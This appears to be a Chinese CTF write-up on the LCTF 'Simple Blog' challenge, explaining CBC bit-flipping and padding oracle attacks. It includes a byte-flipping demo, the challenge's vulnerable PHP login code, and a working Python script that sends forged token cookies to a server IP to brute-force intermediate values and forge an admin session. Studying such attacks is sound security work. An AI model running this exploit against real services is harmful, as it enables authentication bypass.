之前一直没有机会好好总结下padding oracle, 在LCTF 上水了两天,Simple Blog 这题就看了一天,最后还是没有弄出来, 参考了各位大师傅的wp, 赛后好好总结下这个漏洞, 还是很有意思的
Padding Orlace攻击
这是CBC模式下存在的攻击,与具体的加密算法无关(当然,必须是分组加密)。不过,实际上Padding Oracle不能算CBC模式的问题,它的根源在于应用程序对异常的处理反馈到了用户界面(即服务器对解密后数据Padding规则的校验。若不符合Padding规则,则返回500.其它,返回200),是一种边信道攻击方式
CBC是分组密码的一种模式, 在加解密之前都需要先对明文以及密文进行分组,常见分组方式为8bit,16bit, 如果明文不足8bit或16bit, 那么就会对数据进行填充,填充规则是PKCS#5
简单来说,它在数据填充中,使用缺失的位数长度来统一填充。缺5位就用5个0x05填充,缺2位就用2个0x02填充;如果正好为8位,就需要扩展8个0x08填充。具体如下图所示:
具体填充算法为:
add = length - (count % length)
plaintext = plaintext + ('\0' * add) #填充
对照这上面的图也就大概知道了为什么8bit 必须再次填充8bit了(之前一直不理解)
攻击前提
- 初始IV 可控
- padding oracle异常错误反馈到了页面
攻击过程
因为padding oracle 攻击是针对cbc模式的,我们先来理解cbc字节翻转攻击是如何实现的
CBC 的加密过程我这里就不多说了,可以看下面参数文章师傅们发的详细的图,大概原理是:
加密过程
Ciphertext-0 = Encrypt(Plaintext XOR IV)—只用于第一个组块
Ciphertext-N= Encrypt(Plaintext XOR Ciphertext-N-1)—用于第二及剩下的组块
解密过程:
Plaintext-0 = Decrypt(Ciphertext) XOR IV—只用于第一个组块
Plaintext-N = Decrypt(Ciphertext) XOR Ciphertext-N-1—用于第二及剩下的组块
攻击点
这里有两个攻击点
- 更改iv向量, 影响第一个明文分组
- 如果我们更改CiphertextN-1的字节, 其会影响到Ciphertext N块的解密过程, 这个就是cbc比特翻转攻击的原理
我们假设middlecipher 是Ciphertext N块的解密结果,即A = Decrpto(Ciphertext N), old_IV在第一块中的初始化IV, 在第N块中是CipherN-1, evil_IV是我们伪造的恶意IV sourceStr是我们解密后的明文,targetStr是我们希望解密出来的明文
那么由源程序解密的过程为:
middlecipher xor old_IV = sourceStr
但我们希望的解密的过程为:
middlecipher xor evil_IV = targetStr
一般因为key未知,我们不太容易得到middlecipher的内容,我们可以控制的是我们的evil_IV, 我们可以对这两个公式推导下得出
evil_IV = targetStr xor sourceStr xor old_IV
惊奇的发现我们不太容易得到的middlecipher消失了,而我们的sourceStr和targetStr 一般可以在页面中找到(比如登录错误信息位xx不是admin, 无法登录,那么我们就容易猜到xx位sourceStr, admin是我们希望得到的targetStr字符串
这里用一个py的小demo来演示下cbc字节翻转攻击的例子:
#!/usr/bin/env python
#coding:utf-8
import os
from Crypto.Cipher import AES
from Crypto import Random
from binascii import b2a_hex,a2b_hex
SECRET_EKY = os.urandom(8).encode('hex').upper()
IV = Random.new().read(16)
print SECRET_EKY,list(IV),len(IV)
plaintext = 'hello,Pegasus.X!'
print plaintext
aes = AES.new(SECRET_EKY,AES.MODE_CBC,IV)
length = 16
count = len(plaintext)
add = length - (count % length)
print count,add
plaintext = plaintext + ('\0' * add) #填充
print list(plaintext)
ciphertext = IV + aes.encrypt(plaintext)
print 'IV length',len(IV),'aes encrypto:',len(aes.encrypt(plaintext))
print b2a_hex(ciphertext),list(ciphertext),len(ciphertext)
ciphertext = list(ciphertext) # list是可变元素,str是不可变元素,通过list,join来互转
ciphertext[10] = chr(ord(IV[10]) ^ ord(plaintext[10]) ^ ord('M'))
ciphertext = ''.join(ciphertext)
print b2a_hex(ciphertext)
IV = ciphertext[:16]
ciphertext = ciphertext[16:]
print 'length cipher:',len(ciphertext)
aes = AES.new(SECRET_EKY,AES.MODE_CBC,IV)
plaintext = aes.decrypt(ciphertext).rstrip('\0')
print plaintext
>>>
FA6208442FCC7D11 ['A', '\xe2', 'd', '\x18', '\x1b', 'C', 'S', 'P', '\xc8', '\r', 'x', 'y', '\x8b', '@', 'F', '\x88'] 16
hello,Pegasus.X!
16 16
['h', 'e', 'l', 'l', 'o', ',', 'P', 'e', 'g', 'a', 's', 'u', 's', '.', 'X', '!', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00', '\x00']
IV length 16 aes encrypto: 32
41e264181b435350c80d78798b404688f5f552ed456159eb83d2716f323cdc2e07c9be2202fad835967611d106f85c78 ['A', '\xe2', 'd', '\x18', '\x1b', 'C', 'S', 'P', '\xc8', '\r', 'x', 'y', '\x8b', '@', 'F', '\x88', '\xf5', '\xf5', 'R', '\xed', 'E', 'a', 'Y', '\xeb', '\x83', '\xd2', 'q', 'o', '2', '<', '\xdc', '.', '\x07', '\xc9', '\xbe', '"', '\x02', '\xfa', '\xd8', '5', '\x96', 'v', '\x11', '\xd1', '\x06', '\xf8', '\\', 'x'] 48
41e264181b435350c80d46798b404688f5f552ed456159eb83d2716f323cdc2e07c9be2202fad835967611d106f85c78
length cipher: 32
hello,PegaMus.X!
sourceStr为: hello,Pegasus.X!
经过了下面这处理解密出来后
ciphertext[10] = chr(ord(IV[10]) ^ ord(plaintext[10]) ^ ord('M'))
最终解密出来的结果targetStr为: hello,PegaMus.X!
我们成功改变了第10位的内容为M
Padding oracle的攻击思路
Padding oracle 攻击主要用在当cbc模式中sourceStr未知的情况下使用,这个时候我们就无法根据公式来得到我们需要的evil_IV了
Padding oracle的主要过程是通过对padding 的过程中的报错信息来穷举爆破middlecipher
大致过程为:
1. 初始化一个IV位 ['\x00'] * 16,即16个\x00
2. 服务端在解密的时候由于padding 不符合规则而导致报错
3. 接着,我们就可以将IV依次增大,去试探,直到不出现报错信息,则表示我们的padding正确,因为整个异或流程中,Intermediary Value是固定不变的,所以我们最多尝试0xFF次,就肯定能令最后的Padding为0x01
4. 通过上一步,可以得到初始向量的最后一位,和确定的Padding最后一位0x01,那么我们就能推导出中间值的最后一位。
5. 接着,我们就可以碰撞Padding最后两位是0x02 0x02的情况,来得到中间值的最后第二位
6. 以此类推,得到所有的中间值
Simple Blog 题解
login.php 的源码为:
Login Form
后台登录
';
}
function get_random_token() {
$random_token = '';
$str = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890";
for ($i = 0; $i < 16; $i++) {
$random_token .= substr($str, rand(1, 61), 1);
}
return $random_token;
}
function get_identity() {
global $id;
$token = get_random_token();
$c = openssl_encrypt($id, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $token);
$_SESSION['id'] = base64_encode($c);
setcookie("token", base64_encode($token));
var_dump($token);
if ($id === 'admin') {
#admin 帐号密码正确
$_SESSION['isadmin'] = 1;
} else {
$_SESSION['isadmin'] = 0;
}
}
function test_identity() {
// var_dump($_SESSION);
// var_dump($_COOKIE);
if (isset($_SESSION['id'])) {
$c = base64_decode($_SESSION['id']);
$token = base64_decode($_COOKIE["token"]);
var_dump($_COOKIE["token"]);
if ($u = openssl_decrypt($c, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $token)) {
if ($u === 'admin') {
$_SESSION['isadmin'] = 1;
return 1;
}
} else {
die("xx Error!");
}
}
return 0;
}
if (isset($_GET['reset'])) {
get_identity();
}
if (isset($_POST['username']) && isset($_POST['password'])) {
$username = mysql_real_escape_string($_POST['username']);
$password = $_POST['password'];
$result = mysql_query("select password from users where username='" . $username . "'", $con);
$row = mysql_fetch_array($result);
if ($row['password'] === md5($password)) {
get_identity();
header('location: ./admin.php');
} else {
die('Login failed.');
}
} else {
echo 'test_identity';
if (test_identity()) {
header('location: ./admin.php');
} else {
show_page();
}
}
?>
因为这里sourceStr没有给出来,因此我们需要利用padding oracle去得到middlecipher即最后一个密文解密后的中间值
上代码:
#!/usr/bin/env python
#coding:utf-8
__author__ = 'Rivir'
import requests
url = 'http://111.231.111.54/login.php'
old_iv = 'emd0V21mWkhuUm9QbEVYQg=='
targetStr = 'admin'+'\x0b'*11
def access(token):
headers = {'Cookie':'PHPSESSID=j09fpaetmu0hncfh0umqfc4o22; token=%s'%''.join(token).encode('base64').strip()}
res = requests.get(url,headers=headers)
#print headers,res.content
if 'Error' in res.content:
return False
else:
return True
def padding_oracle():
middle = []
IV = ['\x00'] * 16
for i in range(16):
for j in range(256):
IV[15-i] = chr(j)
#print IV
if access(IV):
middle += [ord(IV[15-i]) ^ (i+1)]
print middle,IV
for k in range(len(middle)):
IV[15-k] = chr(middle[k] ^ (i+2))
break
return middle
def getFlag(middle):
eviltoken = []
for i in range(256):
middle[15]=i
for i in range(len(targetStr)):
eviltoken.append(chr(middle[::-1][i] ^ ord(targetStr[i])))
#print 'token:',eviltoken,'middle',middle[::-1]
headers = {'Cookie':'PHPSESSID=j09fpaetmu0hncfh0umqfc4o22; token=%s'%''.join(eviltoken).encode('base64').strip()}
res = requests.get(url,headers=headers)
#print res.content
if 'admin' in res.content:
print res.content
print 'token:',''.join(eviltoken).encode('base64').strip()
break
eviltoken = []
if __name__ == '__main__':
#middle = padding_oracle()
middle = [91, 103, 68, 34, 40, 18, 126, 68, 34, 62, 28, 1, 123, 0, 11,0] # 只能爆出15位,在后面加个0
getFlag(middle)
一个有意思的情况是在python下写的那个demo用的Pycrypto库的Crypto.cipher,用aes加密16位的明文得到32位的密文, 而在php下用openssl_encrypt()函数加密16位的明文得到的还是16位的密文, 不知道这会不会影响到python下解密时的分组
参考:
http://momomoxiaoxi.com/2016/12/08/WebCrypt/
http://www.jianshu.com/p/ad8bdd87e131